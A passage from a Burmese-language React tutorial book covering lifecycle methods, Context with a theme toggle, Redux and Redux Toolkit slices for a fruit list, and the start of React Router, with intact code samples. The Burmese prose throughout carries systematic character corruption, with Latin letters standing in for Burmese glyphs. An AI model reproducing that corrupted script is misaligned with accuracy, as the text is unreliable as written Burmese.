console.log("App is mounted...");

}

render() {
return (

...
);

}
}

နမူနာအရ  App Component  ကို  မကြေoာ်gပခင်ကြေလးမှာ  componentWillMount() Method  အလုိအ
ကြေလျှာက် အလုပ်လုပ်သွားမှာgoစ်ပြပီး ကြေoာ်gပပြပီးသွားတဲ့အခါ  componentDidMount() က အလုပ်လုပ်
သွားမှာပါ။  Component  ကိုမgပခင်ကြေလးမှာ  API Server  ကကြေန  Data  လှမ်းယူတဲ့အလုပ်မျ ို းကြေတွ လုပ်လုိ့
ရသလုိ၊ Component ကို အရင်gပလုိက်ပြပီးကြေတာ့မှ componentDidMount() မှာ Data လှမ်းယူတာမျ ို း
လည်း  လုပ်လုိရ့နိုင်ပါတယ်။ ဒါကြေeကာင့်  Class  Component  ရဲ့  အသုံးဝင်တဲ့  လုပ်ကြေဆာင်ချက်ကြေတွgoစ်ပြပီး
Function  Component  ကြေတွမှာ  အလားတူ  Lifecycle  လုပ်ကြေဆာင်ချက်ကြေတွ  မရှိeကပါyူး။  အ့ဲဒီအစား
useEffect() လုိ Hook Function ကြေတွကို အစားထုိး အသံုးgပုeကပါတယ်။ ကြေနာက်အခန်းကြေတွမှာ ဆက်
ကြေလ့လာeကမှာပါ။

ဒီကြေလာက်ဆိုရင်  Class Component  ကြေတွရဲ့ oဲွ့စည်းပံုကို  သိရှိသွားပြပီgoစ်လုိ့  ကြေနာက်ထပ် အကြေသးစိတ်ကြေတွ
ကြေတာ့ မဆက်ကြေတာ့ပါyူး။ အကြေတာ်ကြေလး အသုံးနည်းသွားတဲ့ လုပ်ကြေဆာင်ချက်ကြေတွgoစ်ကြေနကြေတာ့ ဒီကြေနရာမျ ို း
မှာ သိပ်အချနိ်မကြေပးကြေစချင်ကြေတာ့လုိ့ပါ။
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React Component  ကြေတွမှာ ပံုမှန်အားgoင့်  Data  ကြေတွဟာ  Parent to Child  လက်ဆင့်ကမ်းပြပီး  props
အကြေနနဲ့ စီးဆင်းရတာကို ကြေoာ်gပခဲ့ပြပီးgoစ်ပါတယ်။ ကြေနာက်တစ်ကြေခါက်ကြေလာက် gပန်eကည့်ရကြေအာင်ပါ။

 JavaScript/JSX 

function App() {
    return <Header name="Hello React" />
}

function Header(props) {
    return <Title name={props.name} />
}

function Title(props) {
    return <h1>{props.name}</h1>
}

App Component က Hello React ဆိုတဲ့ တန်oုိးကို Header Component ထံ name props အကြေနနဲ့ ကြေပး
ပါတယ်။ Header က လက်ခံရရှိတဲ့ name ကို Title Component ရဲ့ props အgoစ် လက်ဆင့်ကမ်း ကြေပးပါ
တယ်။  ကြေနာက်ဆံုးမှာ  Title  Component  က လက်ခံရရှိတဲ့  name props  ကို  အသံုးgပုပါတယ်။  ဒီလုိ
တစ်ဆင့်ချင်းသာ သွားရပြပီး  App က Title  အကို အဆင့်ကြေကျာ်ပြပီး တိုက်ရုိက်  Data  ကြေပးလုိမ့ရသလုိ၊  Title
ကလည်း App ဆီက Data ကြေတွကို အဆင့်ကြေကျာ်ပြပီး လှမ်းယူလုိ ့မရပါyူး။
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Context   ဆိုတာ လုိရင်းကကြေတာ့   Data   ကြေတွ အဆင့်ကြေကျာ် ကြေပးလုိရ့ကြေအာင်၊ ယူလုိရ့ကြေအာင် oန်တီးကြေပးထား  
တဲ့ နည်းပညာတစ်ခုပါ။ ပြပီးခဲ့တဲ့ နမူနာကို Context သုံးပြပီး အခုလုိ ကြေရးနိုင်ပါတယ်။

 JavaScript/JSX 

import { createContext, useContext } from "react";

const MyContext = createContext();

export default function App() {
return (

<MyContext.Provider value="Hello Context">
<Header />

</MyContext.Provider>
);

}

function Header(props) {
return <Title />;

}

function Title(props) {
const value = useContext(MyContext);

return <h1>{value}</h1>;
}

ရုတ်တရက်  ရှုပ်တယ်ထင်ရကြေပမယ့်  အကြေတာ်အသုံးဝင်တဲ့  သကြေyာသyာဝတစ်ခုပါ။  ပထမဆံုးအကြေနနဲ့
createContext() နဲ့  React Context တစ်ခုကို တည်ကြေဆာက်ပါတယ်။ ပြပီးတဲ့အခါ အ့ဲဒီ  Context ရဲ့
Provider  မှာ ကြေပးလုိတဲ့တန်oုိးကို ကြေပးလုိရ့ပါတယ်။ နမူနာမှာကြေတာ့ Hello Context  လုိ့ စာတစ်ကြေeကာင်းပဲ
ကြေပးထားပါတယ်။  တစ်gခား  Number  ကြေတွ  Object  ကြေတွကြေပးချင်ရင်လည်း  ကြေပးလုိရ့ပါတယ်။  ဒီ  Context
Value  ကို  အဆင့်ဆင့်  လက်ဆင့်ကမ်းစရာ  မလုိyဲ  အသုံးgပုလုိတဲ့  Child  Component  မှာ
useContext() နဲ ့လုိတဲ့အချနိ် လှမ်းယူသံုးလုိက်လုိ့ ရသွားပါတယ်။

လက်ကြေတွ့နမူနာတစ်ခုအကြေနနဲ့  State  နဲ့  Context  ကို တွဲကြေရးရတဲ့  Theme Provider Pattern  ကြေလးတစ်ခု
ကို ထည့်ကြေoာ်gပကြေပးချင်ပါတယ်။ င်္ဂရုစိုက်eကည့်ကြေပးပါ။
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 JavaScript/JSX 

import { createContext, useContext, useState } from "react";

const ThemeContext = createContext();

export default function App() {
const [theme, setTheme] = useState("light");

return (
<ThemeContext.Provider value={{ theme, setTheme }}>

<div
style={{

minHeight: 400,
color: "green",
padding: 20,
background:

theme === "light"
? "lightblue"
: "darkblue",

}}>
<Header />

</div>
</ThemeContext.Provider>

);
}

function Header() {
return <Title />;

}

function Title() {
const { theme, setTheme } = useContext(ThemeContext);

return (
<div>

<h1>Hello Context</h1>
<button onClick={() => {

setTheme(
theme === "light" ? "dark" : "light"

)
}}>Toggle Theme</button>

</div>
);

}

App Component မှာ Context Value အgoစ် State Data နဲ့ အ့ဲဒီ Data ကို gပင်လုိရ့တဲ့ Function goစ်eက
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တဲ့ theme နဲ့ setTheme ကို ထည့်ကြေပးထားပါတယ်။ ဒါကြေeကာင့် လုိအပ်တဲ့ Child Component တိုင်းက
ကြေန theme နဲ့  setTheme တိုက့ိုယူသံုးလုိရ့သွားပါတယ်။ theme ရဲ့  Default Value က light goစ်ပါ
တယ်။ 

App Component  ရဲ့  <div> Element အတွက်  Style Background မှာ  Ternary Operator  ကိုသုံးပြပီး
theme က light ဆိုရင် အgပာနုနဲ့gပပြပီး theme က light မဟုတ်ရင် အgပာရင့်နဲ့ gပထားပါတယ်။

ထပ်ဆင့် Child Component goစ်တဲ့  Title က useContext() နဲ့  theme, setTheme ကို ယူသံုး
ထားပါတယ်။ သူ့မှာ  Button  တစ်ခုပါပြပီး  နှိပ်လုိက်တဲ့အခါ  theme ရဲ့တန်oုိး  light goစ်ကြေနရင်  dark
ကြေgပာင်းကြေပးပြပီး  light မဟုတ်ရင်  light gပန်ကြေgပာင်းကြေပးပါတယ်။  ဒီကြေgပာင်းလဲမှုဟာ  မူလ  App
Component  ကို  သက်ကြေရာက်သွားမှာgoစ်လုိ့  App  Component  တစ်ခုလံုးရဲ့  Theme  ကို  Title
Component ကကြေန လှမ်းကြေgပာင်းလုိရ့တဲ့ လုပ်ကြေဆာင်ချက်ကို ရရှိသွားပါကြေတာ့တယ်။

အသုံးဝင်ပြပီး မeကာခဏ ကြေရးကြေရကြေလ့ရှိတဲ့ နည်းစနစ်မုိလုိ့့ လက်ကြေတွ့ကူးယူပြပီး ကြေရးသားစမ်းသပ် eကည့်သင့်
ပါတယ်။
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အခန်း (၆၀) – Redux

Redux ဟာ State Container နည်းပညာလုိ့ ကြေခါ်ပါတယ်။ တနည်းအားgoင့် state Data ကြေတွကို စီမံတဲ့
ကြေနရာမှာ  အသုံးgပုရတဲ့  နည်းပညာပါပဲ။  ဒီနည်းပညာဟာ  နားလည်သွားရင်  ရုိးရှင်းကြေပမယ့်၊  အစပုိင်းမှာ
နားလည်ရခက်ပြပီး မျက်စိလည်ကြေစနိုင်တဲ့ နည်းပညာတစ်ခုပါ။ အတတ်နိုင်ဆံုး ကြကိုးစားပြပီးကြေတာ့ ရှင်းကြေအာင်
ကြေgပာသွားမှာ goစ်ပါတယ်။

ပထမဦးဆံုး  state Date  ကြေတွကို စီမံတဲ့  Function  တစ်ခုအကြေeကာင်း ကြေgပာပါမယ်။  Reducer Function
လုိ့ ကြေခါ်ပါတယ်။ Redux   က   state   Data   ကြေတွကို စီမံမကြေပးပါyူး။ ကိုယ်တိုင်ပဲ စီမံရတာပါ  ။ အ့ဲဒီလုိ စီမံနိုင်
oုိ့  လုိအပ်တဲ့  Container  Framework  ကိုသာ  ကြေပးထားတဲ့သကြေyာပါ။  Reducer  Function  ရဲ့  အကြေgခခံ
oဲွ့စည်းပံုက ဒီလုိပါ။

 JavaScript/JSX 

function reducer(state, action) {
return state;

}

နမူနာမှာ Function Name ကို  reducer လုိ့ကြေပးထားကြေပမယ့် ဒီနာမည်က အကြေရးမကြကီးပါyူး။ ကြကိုက်တဲ့
နာမည် ကြေပးလုိရ့ပါတယ်။ အကြေရးကြကီးတာကကြေတာ့ state နဲ့ action ဆိုတဲ့ Parameter နှစ်ခုပါoုိ့ပါပဲ။ မ
goစ်မကြေန ပါoုိလုိ့အပ်ပါတယ်။ ကြေနာက်ထပ်အကြေရးကြကီးတာကကြေတာ့ state ကို Return gပန်ကြေပးoုိလုိ့အပ်gခင်း
goစ်ပါတယ်။  state Data  အကုန်လုံးကို  gပန်တာgoစ်နိုင်တယ်၊  တစ်စိတ်တစ်ပုိင်းကို  gပန်တာ  goစ်နိုင်
တယ်။ ဒါကကြေတာ့ ကိုယ် ဒီ  Function  ကို yယ်လုိ အလုပ်လုပ်ကြေစချင်သလဲဆိုတဲ့ကြေပါ်မှာ မူတည်ပါတယ်။
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နည်းနည်း gပင်လုိက်ပါမယ်။

 JavaScript/JSX 

function reducer(state = [], action) {
if(action.type === "ADD") {

return [ ...state, action.name ];
}

return state;
}

state ရဲ့  Default  Value  ကို  Array  အလွတ်တစ်ခုလုိ့  သတ်မှတ်ထားတာကို  သတိgပုပါ။  ပြပီးတဲ့အခါ
state ကို Return gပန်ပုံgပန်နည်း ကြေgပာင်းသွားပါပြပီ။ action ရဲ့ Property type က ADD goစ်ခဲ့မယ်ဆို
ရင်  မူလ  state မှာ  action ရဲ့  name ကို  ကြေပါင်းထည့်ပြပီးမှ  Return  gပန်ကြေပးသွားတာ goစ်ပါတယ်။
တgခား  Delete,  Update,  Filter  စတဲ့  ကုဒ်ကြေတွကို  ဒီနည်းအတိုင်း  ဆက်ကြေရးသွားရမှာပါ။  ဒါကြေတွက
Programming Logic ကြေတွမုိလုိ့့ ဒီကြေနရာမှာ နမူနာ ကြေရးမgပကြေတာ့ပါyူး။ ကုဒ်ရှည်ပြပီး eကည့်ရခက် နားလည်
ရခက်သွားမှာ စိုးလုိ့ပါ။ ဒီ  Logic  ကြေတွကိကုြေတာ့ လက်ရှိသိထားတဲ့  ဗဟုသုတကြေပါ်မှာ မူတည်ပြပီး  ကိုယ်တိုင်
ကြကံဆပြပီး ကြေရးရကြေတာ့မှာပါ။ ဒီကြေနရာမှာကြေတာ့ Redux ရဲ့ အလုပ်လုပ်ပံုကိုသာ ဆက်ရှင်းgပသွားမှာပါ။

Redux  ရဲ့  createStore() လုိ့  ကြေခါ်တဲ့  Function  ကို  အသံုးgပုပြပီး  State  Container  တစ်ခု
တည်ကြေဆာက် နိုင်ပါတယ်။ Reducer Function ကို Argument အကြေနနဲ့ ကြေပးရပါတယ်။ ဒီလုိပါ။

 JavaScript/JSX 

const store = Redux.createStore(reducer);

ပြပီးတဲ့အခါ  dispatch() လုိ့ကြေခါ်တဲ့  Function  တစ်ခုထပ်မှတ်ရပါမယ်။  State Container  ထဲက state
ကို gပင်ချင်ရင် dispatch() နဲ့ gပင်ရပါတယ်။ သူကိုယ်တိုင် gပင်တာ မဟုတ်ပါyူး။ သူက Reducer ကို
သုံးပြပီး  အလုပ်လုပ်ကြေပးတာပါ။  တနည်းအားgoင့်  dispatch()     ဆိုတာ    reducer()     ကို  ကြေခါ်ကြေပးတဲ့  

Function   လုိ့ ဆိုနိုင်ပါတယ်  ။ dispatch() ကို ကြေခါ်တဲ့အခါ action ကို Argument အကြေနနဲ့ ထည့်ကြေပး
ရပါတယ်။ ဥပမာ -
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 JavaScript/JSX 

store.dispatch({  type: "ADD", name: "Apple" });

// => state = [ Apple ]

 JavaScript/JSX 

store.dispatch({  type: "ADD", name: "Orange" });

// => state = [ Apple, Orange ]

 JavaScript/JSX 

store.dispatch({  type: "ADD", name: "Mango" });

// => state = [ Apple, Orange, Mango ]

dispatch() Function ကို ကြေခါ်စဉ်မှာ ကြေပးလုိက်တဲ့ type: ADD ကြေeကာင့် state ထဲမှာ name ကြေတွ
တိုးတိုးသွားတဲ့ သကြေyာကို ကြေတွ့ရမှာ goစ်ပါတယ်။ type: ADD ဆိုရင် state ထဲမှာ name တိုးပြပီး gပန်
ကြေပးoုိက့ို ကျွန်ကြေတာ်တိုက့ိုယ်တိုင် reducer() ထဲမှာ ကြေရးထားခဲ့တယ်ကြေလ။

ဒါဟာ  Redux  ရဲ့  အကြေgခခံအလုပ်လုပ်ပံုကို  နားလည်ကြေစoုိ့  ကြေoာ်gပလုိက်တဲ့  နမူနာgoစ်ပါတယ်။  လက်ကြေတွ့
အသုံးgပုoုိ့  မဟုတ်ကြေသးပါyူး။  လက်ကြေတွ့အသုံးgပုတဲ့အခါမှာကြေတာ့  Redux  ကို  တိုက်ရုိက်အသံုးgပုမယ့်
အစား Redux Toolkit လုိ့ကြေခါ်တဲ့ နည်းပညာကကြေနတစ်ဆင့် အသုံးgပုရမှာပဲ goစ်ပါတယ်။

Redux Toolkit
Redux  နဲ့  Redux Toolkit  အပါအဝင် နမူနာကုဒ်တစ်ချ ို ့ပါ  ကြကိုတင်ထည့်သွင်းကြေပးထားတဲ့  React  ပကြေရာ
င်္ဂျက်တစ်ခုကို အခုလုိ တည်ကြေဆာက်လုိရ့ပါတယ်။။

npx create-react-app app --template redux

create-react-app ကိုပဲ အသံုးgပုပြပီး ကြေနာက်ကကြေန --template အကြေနနဲ့ redux ကို သုံးမယ်ဆို
တဲ့ Option ကြေလးထည့်ကြေပးလုိက်တာပါ။ 
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npm start နဲ ့ဝင် Run eကည့်လုိက်ရင် အခုလုိ ရလဒ်ကို ရရှိမှာပဲ goစ်ပါတယ်။

Counter Component  ကြေလးတစ်ခုကို  နမူနာအကြေနနဲ့  ကြကိုကြေရးကြေပးထားလုိ့  + - ခလုပ်ကြေလးကြေတွကို  နှိပ်ပြပီး
စမ်းeကည့်လုိရ့ပါတယ်။  Redux  နဲ့  Redux  Toolkit  ကို  အသုံးgပုပြပီး  ကြေရးထားကြေပးတာပါ။  src ထဲက
index.js ကို oွင့်eကည့်လုိက်ရင် အခုလုိပံုစံ ကြေရးကြေပးထားတာကို ကြေတွ့ရပါလိမ့်မယ်။

 JavaScript/JSX 

import React from 'react';
import { createRoot } from 'react-dom/client';
import { Provider } from 'react-redux';
import { store } from './app/store';
import App from './App';

const container = document.getElementById('root');
const root = createRoot(container);

root.render(
  <Provider store={store}>
    <App />
  </Provider>
);

App တစ်ခုလံုးကို  react-redux ကကြေန Import လုပ်ယူထားတဲ့  <Provider> ထဲမှာ ထည့်ထားတာ



PWD 2023 – အခန်း (၆၀) – Redux 783

ကို ကြေတွ့ရပါလိမ့်မယ်။ ဒါကြေeကာင့် <App> နဲ့ အတွင်းမှာ ထပ်ဆင့်ရှိကြေနတဲ့  Component ကြေတွက Redux ရဲ့
လုပ်ကြေဆာင်ချက်တွဗကို  အသံုးgပုလုိရ့သွားပြပီး။  Provider  အတွက် ထည့်ကြေပးထားတဲ့  store Object  ကို
ကြေတာ့ app/store.js မှာ ခဲွကြေရးပြပီး gပန်ယူသုံးထားပါတယ်။ ဒါကြေeကာင့် app/store.js ကို oွင့်eကည့်
လုိက်ပါ၊ အခုလုိ ကြေတွ့ရပါလိမ့်မယ် –

 JavaScript/JSX 

import { configureStore } from '@reduxjs/toolkit';
import counterReducer from '../features/counter/counterSlice';

export const store = configureStore({
  reducer: {
    counter: counterReducer,
  },
});

store Object  တည်ကြေဆာက်oုိအ့တွက်  Redux  ရဲ့  createStore() ကို  သုံးရမှာgoစ်ကြေပမယ့်၊  မသံုး
ကြေတာ့yဲ Redux Toolkit ရဲ့ configureStore() Method နဲ့ store Object ကို တည်ကြေဆာက်ထား
ပါတယ်။  store Object  တည်ကြေဆာက်ချနိ်မှာ ကြေပးရမယ့်  Reducer Function  ကိုလည်း ဒီမှာတစ်ခါထဲမ
ကြေရးyဲ counterSlice ဆိုတဲ့နာမည်နဲ ့ခဲွကြေရးထားတာကို ကြေတွ့ ရပါလိမ့်မယ်။

ဒီကြေလာက်ဆိုရင် စလုိ့ ရသွားပါပြပီ။ သူနမူနာကြေပးထားတဲ့ ကုဒ်ကြေတွကို မသံုးကြေတာ့yဲ့ ကိုယ့်yာသာ ကုဒ်တစ်
ချ ို ့  စမ်းကြေရးeကည့်ပါမယ်။  အရင်ဆံုး  features oုိဒါထဲမှာ  fruits အမည်နဲ့  oုိဒါအသစ်တစ်ခု  ထပ်
ကြေဆာက်ပြပီး features/fruits/fruitSlice.js မှာ အခုလုိကြေရးကြေပးပါ။

 JavaScript/JSX 

import { createSlice } from "@reduxjs/toolkit";

const fruitSlice = createSlice({
name: "fruits",
initialState: [

{ id: 1, name: "Apple", price: 0.99 },
{ id: 2, name: "Orange", price: 0.89 },

],
reducers: {

add: (state, action) => {
return [...state, action.payload];

},
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remove: (state, action) => {
return state.filter(item=>item.id !== action.payload);

}
}

});

export const selectFruits = (state) => state.fruits;
export const { add, remove } = fruitSlice.actions;
export default fruitSlice.reducer;

initialState အတွက်  Default  Data  တစ်ချ ို ့ကြေပးထားပါတယ်။  ပြပီးတဲ့အခါ  reducers အတွက်
add နဲ့  remove ဆိုတဲ့  Function  နှစ်ခု  ကြေရးကြေပးထားပါတယ်။  add က  State  Data  ထဲမှာ
action.payload အကြေနနဲ့  ပါလာတဲ့  Parameter  ကို  ထပ်တိုးကြေပးပြပီး။  remove ကကြေတာ့  လက်ရှိ
State Data ထဲကကြေန id နဲ့  action.payload အကြေနနဲပ့ါလာတဲ့ Parameter တိုက်စစ် Filter လုပ်ပြပီး
oယ်ထုတ်ကြေပးပါတယ်။

ပြပီးတဲ့အခါ selectFruits() လုိ့ကြေခါ်တဲ့ Function တစ်ခုကိုလည်း Export လုပ်ကြေပးထားပါကြေသးတယ်။
အ့ဲဒီ  Function  က  State  Data  ကြေတွအမျ ို းမျ ို း  ရှိနိုင်တဲ့ထဲက  fruits ကို  gပန်ကြေပးမှာပါ။  အကြေပါ်က
configureStore() အတွက် name မှာ fruits လုိ့ ကြေပးခဲ့တာကို gပန်eကည့်ပါ။

ပြပီးတဲ့အခါ reducers ထဲမှာ ကြေရးကြေပးထားတဲ့  add နဲ့  remove ဆိုတဲ့  Function ကြေတွကိုလည်း Export
လုပ်ကြေပးထားပြပီး၊  reducer တစ်ခုလံုးကိုလည်း  Default  Export  အကြေနနဲ့  gပန်ကြေပးထားပါတယ်။  ဒီ
reducer ကို store Object တည်ကြေဆာက်တဲ့အခါ ထည့်သံုးမှာgoစ်လုိ့ app/store.js မှာ ကြေရးထား
တဲ့ကုဒ်ကို အခုလုိgပင်ကြေပးပါ။

 JavaScript/JSX 

import { configureStore } from '@reduxjs/toolkit';
import fruitSlice from '../features/fruits/fruitSlice';

export const store = configureStore({
  reducer: {
    fruits: fruitSlice,
  },
});
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သူနမူနာကြေရးကြေပးထားတဲ့  counterSlice Reducer  ကို  မသုံးကြေတာ့yဲ  ကိုယ့်yာသာ  ကြေရးထားတဲ့
fruitSlice Reducer  ကို  အစားထုိးပြပီး သုံးကြေပးလုိက်တာပါ။ အားလံုး  Ready  goစ်ကြေနပါပြပီ။ ဒါကြေeကာင့်
<FruitList> လုိ့ကြေခါ်တဲ့  Component  တစ်ခုကြေရးeကည့်ပါမယ်။  features/fruits/
FruitList.js မှာ အခုလုိကြေရးကြေပးပါ။

 JavaScript/JSX 

import { useDispatch, useSelector } from "react-redux";
import { remove, selectFruits } from "./fruitSlice";

export default function FruitsList() {
    const fruits = useSelector(selectFruits);
    const dispatch = useDispatch();

    return (
        <div>
            <h1>Fruit List</h1>
            <ul>
                {fruits.map(fruit => {
                    return (
                        <li key={fruit.id}>
                            <button onClick={() =>
                                dispatch(remove(fruit.id))}>
                                Del
                            </button>
                            {fruit.name}, ${fruit.price}
                        </li>
                    );
                })}
            </ul>
        </div>
    );
}

အစပုိင်း store Object တည်ကြေဆာက်တဲ့ configureStore မှာ မျက်စိရှုပ်စရာကြေတွ များကြေပမယ့် အခု
လုိ gပန်ယူသုံးချနိ်မှာကြေတာ့ ဒီကြေလာက်မရှုပ်ကြေတာ့ပါyူး။ State Data ကို လုိချင်တဲ့အခါ useSelector()
နဲယူ့ပြပီး  add,  remove စတဲ့  Action  Function  ကြေတွကို  Run  ချင်တဲ့အခါ  တိုက်ရုိက်  မ  Run  ပဲ
dispatch() ကကြေန တစ်ဆင့် Run ရတယ်ဆိုတာသိရင် ရပါပြပီ။ နမူနာအရ လုိချင်တဲ့  fruits စာရင်း
ကို  useSelector() နဲယူ့ထားပြပီး ကြေရးရုိးကြေရးစဉ်အတိုင်း ဆက်ကြေရးထားပါတယ်။  useState() ကြေတွ
yာကြေတွ မသုံးကြေတာ့သလုိ၊ props အကြေနနဲ ့အဆင့်ဆင့်ကြေပးတာကြေတွလည်း မလုိအပ်ကြေတာ့ပါyူး။
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Delete  Button  တစ်ခုလည်း  တစ်ခါထဲ  ထည့်ကြေရးထားပါတယ်။  onClick မှာ  dispatch() နဲ့
remove() ကို  Run  ကြေပးလုိက်တာပါပဲ။ ခလုပ်နှိပ်လုိက်လုိ့  State Data  မှာ ပျက်သွားရင်  UI  မှာလည်း
အလုိအကြေလျှာက်  လုိက်လံကြေgပာင်းလဲ  ကြေoာ်gပကြေပးမှာပဲ  goစ်ပါတယ်။  လက်ကြေတွ့  စမ်းသပ်နိုင်oုိအ့တွက်
App.js မှာ အခုထည့်သုံးလုိက်ရင် ရသွားပါပြပီ။

 JavaScript/JSX 

import FruitList from "./features/fruits/FruitList";

export default function App() {
return (

<div>
<FruitList />

</div>
);

}

ကြေနာက်ထပ်လုပ်ကြေဆာင်ချက်တစ်ခု ထပ်ထည့်စမ်းနိုင်oုိအ့တွက်  features/fruits/AddFruit.js
မှာ အခုလုိကြေရးကြေပးပါ။

 JavaScript/JSX 

import { useRef } from "react";
import { useSelector, useDispatch } from "react-redux";
import { selectFruits, add } from "./fruitSlice";

export default function NewFruit() {
    const nameRef = useRef();
    const priceRef = useRef();

    const fruits = useSelector(selectFruits);
    const dispatch = useDispatch();

    return (
        <form onSubmit={(e) => {
            e.preventDefault();

            dispatch(add({
                id: fruits[fruits.length - 1].id + 1,
                name: nameRef.current.value,
                price: priceRef.current.value,
            }));
        }}>
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            <input type="text" ref={nameRef} /><br />
            <input type="text" ref={priceRef} /><br />
            <button>Add Fruit</button>
        </form>
    )
}

အလားတူပဲ  props ကြေတွ  အဆင့်ဆင့်  လက်ဆင့်ကမ်းစရာမလုိyဲ  လုိချင်တဲ့  State  ကို  ရယူထားသလုိ
State Data ကို စီမံတဲ့ add ကိုလည်း dispatch() ကကြေနတစ်ဆင့် တိုက်ရုိက် Run လုိ့ ရသွားပါတယ်။
ဒီ Component ကိုလည်း App.js မှာ ထပ်ထည့်ကြေပးလုိက်ရင် Redux ကို အသုံးgပုပြပီး  State Data ကြေတွ
စီမံပုံ အကြေgခခံနမူနာကြေလးတစ်ခု ရရှိသွားပါပြပီ။

import FruitList from "./features/fruits/FruitList";
import AddFruit from "./features/fruits/AddFruit";

export default function App() {
return (

<div>
<FruitList />
<AddFruit />

</div>
);

}

Redux  ဟာ ကြကိုက်တဲ့သူနဲ့  မကြကိုက်တဲ့သူ  နှစ်gခမ်းကွဲကြေနတဲ့  နည်းပညာတစ်ခုပါ။  နှစ်သက်သူကြေတွ  အများ
ကြကီးရှိeကသလုိ  မလုိအပ်yဲ  ရှုပ်ကြေထွးလွန်းလှတယ်ဆိုပြပီး  မနှစ်သက်သူကြေတွလည်း  အများကြကီး  ရှိကြေနeကပါ
တယ်။ တစ်ကယ်ကြေတာ့ အခုကြေgပာခဲ့တာထက် အများကြကီး ပုိရှုပ်ကြေထွးပါကြေသးတယ်။ Redux ကိုယ်တိုင်က သူ့
နည်းပညာကို  လုိအပ်လာပြပီဆိုတာ  ကြေသချာမှ  သံုးပါ၊  မလုိyဲ  ရနိုင်ရင်  မသံုးပါနဲ့  ဆိုတဲ့သကြေyာမျ ို းကို
ကြေgပာထားပါတယ်။

yယ်လုိပဲgoစ်goစ်၊ လက်ကြေတွ့မှာ ပကြေရာင်္ဂျက်ကြကီးလာတဲ့အခါမှာ State Data ကြေတွကို  Component ကြေတွထဲ
မှာ gပန့်ကျဲပြပီး တစ်ခုချင်း လုိက်စီမံရတာ yယ်လုိမှ အဆင်မကြေgပကြေတာ့yူး ဆိုတာကို သိရှိလာပါလိမ့်မယ်။
အ့ဲဒီလုိအချနိ်မျ ို း ကြေရာက်လာပြပီဆိုရင်ကြေတာ့  Redux (သုိမ့ဟုတ်)  အလားတူ သီးgခား  State Management
နည်းပညာ တစ်ခုခရုဲ့ အကူအညီကိုယူoုိ့ လုိအပ်လာမှာပဲ goစ်ပါတယ်။ 
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အခန်း (၆၁) – React Router

လက်ကြေတွ့ပကြေရာင်္ဂျက်ကြေတွမှာ Screen (သုိ့မဟုတ်) Page ကြေတွ အများကြကီးပါဝင်နိုင်ပါတယ်။ ဥပမာ - Login,
Register, Profile, Home, Dashboard, Setting စသgoင့်ကြေပါ။့ React မှာလည်း Component ကြေတွကို အ့ဲဒီ
လုိ Page ကြေတခွွဲပြပီး စီမံလုိရ့ပါတယ်။ ဒီအတွက် React Router လုိ နည်းပညာမျ ို းကိုသံုးနိုင်ပါတယ်။ ဥပမာ
- အခုလုိ Component နှစ်ခုရှိတယ်ဆိုeကပါတယ်။

 JavaScript/JSX 

const users = [
    { id: 1, name: 'Alice', gender: 'f' },
    { id: 2, name: 'Bob', gender: 'm' },
    { id: 3, name: 'Tom', gender: 'm' },
    { id: 4, name: 'Mary', gender: 'f' },
];

 JavaScript/JSX 

function Male(props) {
    return (
        <ul>
            {users.filter(u => u.gender === 'm')

   .map(u => <li key={u.id}>{u.name}</li>)}
        </ul>
    );
}
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function Female(props) {
    return (
        <ul>
            {users.filter(u => u.gender === 'f')

   .map(u => <li key={u.id}>{u.name}</li>)}
        </ul>
    );
}

ဒီ Component နှစ်ခုကို အသွားအgပန် Navigate လုပ်လုိရ့တဲ့ ခလုပ်ကြေလးကြေတွနဲ့ Page ခွဲပြပီး gပချင်တယ်ဆို
ရင် gပလုိရ့ပါတယ်။ ပထမဆံုးအကြေနနဲ ့react-router-dom ကို NPM နဲ ့Install လုပ်လုိက်ပါ။

npm i react-router-dom

ပြပီးရင် index.js ကုဒ်ရဲ့ oဲွ့စည်းပံုက အခုလုိ goစ်သင့်ပါတယ်။

 JavaScript/JSX 

import React from 'react';
import { createRoot } from 'react-dom/client';
import App from './App';
import { BrowserRouter } from "react-router-dom";

const container = document.getElementById('root');
const root = createRoot(container);

root.render(
    <BrowserRouter>
        <App />
    </BrowserRouter>
);

App တစ်ခုလံုးကို  React Router ကကြေန ရတဲ့  BrowserRouter Container ထဲမှာ ထည့်ကြေပးလုိက်တာ
ပါ။  ဒါကြေeကာင့်  App  တစ်ခုလံုးကကြေန  Router  နဲ့  သက်ဆိုင်တဲ့  လုပ်ကြေဆာင်ချက်ကြေတွကို  စတင်အသံုးgပုနိုင်
သွားပါပြပီ။ ကြေနာက်တစ်ဆင့်အကြေနနဲ့  Page  ကြေတွ ခွဲgခင်း၊ အ့ဲဒီ  Page  ကြေတွကို သွားလုိရ့တဲ့  Route Link  ကြေတွ
သတ်မှတ်gခင်းတိုက့ို အခုလုိ ကြေရးသားနိုင်ပါတယ်။
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 JavaScript/JSX 

import { Routes, Route, Link } from "react-router-dom";

export default function App() {
    return (
        <div>
            <ul>
                <li><Link to="/male">Male</Link></li>
                <li><Link to="/female">Female</Link></li>
            </ul>
            <div style={{ background: "cyan", padding: 20 }}>
                <Routes>
                    <Route path="/male" element={<Male />} />
                    <Route path="/female" element={<Female />} />
                </Routes>
            </div>
        </div>
    );
}

<Routes> အတွင်းမှာ  <Route> Component  ကြေတွနဲ့  ခွဲထားလုိတဲ့  Page  ကြေတွကို  တန်းစီပြပီး  ထည့်
ကြေပးလုိက်ယုံပါပဲ။ သီးgခားစာမျက်နှာအgoစ် ကြေoာ်gပကြေစလုိတဲ့  Component ကြေတွကို  element အကြေနနဲ့ ကြေပး
ရပြပီး အ့ဲဒီ Page ကြေတွကို သွားလုိရ့တဲ့ လိပ်စာကိုကြေတာ့ path နဲ့ သတ်မှတ်ကြေပးရတာပါ။ အသံုးgပုရ လွယ်ကူ
ပါတယ်။  နမူနာအရ  /male  ဆိုတဲ့လိပ်စာကိုသွားရင်  <Male> Component  ကို  gပကြေပးမှာgoစ်ပြပီး၊
/female ဆိုတဲ့လိပ်စာကိုသွားရင် <Female> Component ကို gပကြေပးမှာပါ။

http://localhost:3000/male
http://localhost:3000/female

သက်ဆိုင်ရာလိပ်စာကို သွားလုိရ့တဲ့  Link  ကြေတွထည့်သွင်းoုိအ့တွက် ရုိးရုိး  HTML <a> Element ကိုပဲ သုံး
ရင်ရနိုင်ကြေပမယ့် မလုိအပ်တဲ့ Page Refresh ကြေတွမgoစ်ကြေစoုိအ့တွက် React Router နဲအ့တူပါတဲ့ <Link>
